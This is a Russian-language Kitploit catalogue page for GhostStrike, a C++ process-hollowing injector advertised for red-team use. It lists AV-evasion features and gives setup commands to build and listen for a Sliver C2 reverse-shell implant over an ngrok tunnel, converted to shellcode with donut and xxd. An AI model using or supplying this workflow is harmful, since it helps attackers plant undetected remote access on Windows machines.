Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
GhostStrike — Инжектор process hollowing на C++, который шифрует и обфусцирует shellcode с помощью XOR, Base64 и динамического разрешения API для развёртывания скрытных reverse shell в Windows. | Kitploit
Инструменты/GitHubGitHub/stivenhacker/ghoststrike
Инструменты шифрования/дешифрованияШелл-кодАнализ вредоносных программТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
GitHubstivenhacker/ghoststrike

GhostStrike

Инжектор process hollowing на C++, который шифрует и обфусцирует shellcode с помощью XOR, Base64 и динамического разрешения API для развёртывания скрытных reverse shell в Windows.

Репозиторий
82894212 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

GhostStrike ⚔️

GhostStrike — это продвинутый инструмент кибербезопасности, предназначенный для операций Red Team, включающий изощрённые техники обхода обнаружения и выполнения process hollowing в системах Windows.

✨ Возможности

  • Динамическое разрешение API: Использует собственный метод на основе хеширования для динамического разрешения Windows API, избегая обнаружения сигнатурными средствами защиты.
  • Кодирование/декодирование Base64: Кодирует и декодирует shellcode, чтобы скрыть его присутствие в памяти, затрудняя обнаружение инструментами статического анализа.
  • Генерация криптографических ключей: Генерирует безопасные криптографические ключи с помощью Windows Cryptography API для шифрования и дешифрования shellcode, добавляя дополнительный уровень защиты.
  • Шифрование/дешифрование XOR: Простое, но эффективное шифрование на основе XOR для защиты shellcode в процессе его внедрения.
  • Сглаживание потока управления: Реализует сглаживание потока управления для обфускации пути выполнения, усложняя анализ как статическими, так и динамическими инструментами анализа.
  • Process Hollowing: Внедряет зашифрованный shellcode в легитимный процесс Windows, позволяя ему выполняться скрытно, не вызывая подозрений.

⚙️ Настройка

Вы можете настроить GhostStrike, выполнив следующие шаги:

  1. Создайте сервис Ngrok: ngrok tcp 443
  2. Сгенерируйте имплант Sliver C2: generate --mtls x.tcp.ngrok.io --save YourFile.exe
  3. Создайте слушатель: mtls --lhost 0.0.0.0 --lport 443
  4. Конвертируйте в .bin: ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
  5. Конвертируйте в shellcode C++: xxd -i YourFile.bin > YourFile.h
  6. Импортируйте YourFile.h в этот код
  7. Скомпилируйте и наслаждайтесь! 🚀

💻 Требования

  • Компилятор C++: Достаточно любого современного компилятора C++, такого как g++, clang++ или Visual Studio, чтобы скомпилировать код.

Для сборки GhostStrike дополнительные зависимости не требуются. Просто скомпилируйте исходный код предпочитаемым компилятором C++, и всё готово!

⚠️ Отказ от ответственности

Этот инструмент предназначен исключительно для образовательных целей и для использования в контролируемых средах. Несанкционированное использование GhostStrike вне этих условий строго запрещено. Автор, @Stiven.Hacker, не несёт ответственности за любое неправомерное использование или ущерб, вызванный этим кодом.

🎥 Демонстрация

Посмотрите живую демонстрацию работы GhostStrike в LinkedIn:

Смотреть демо

Скачать инструмент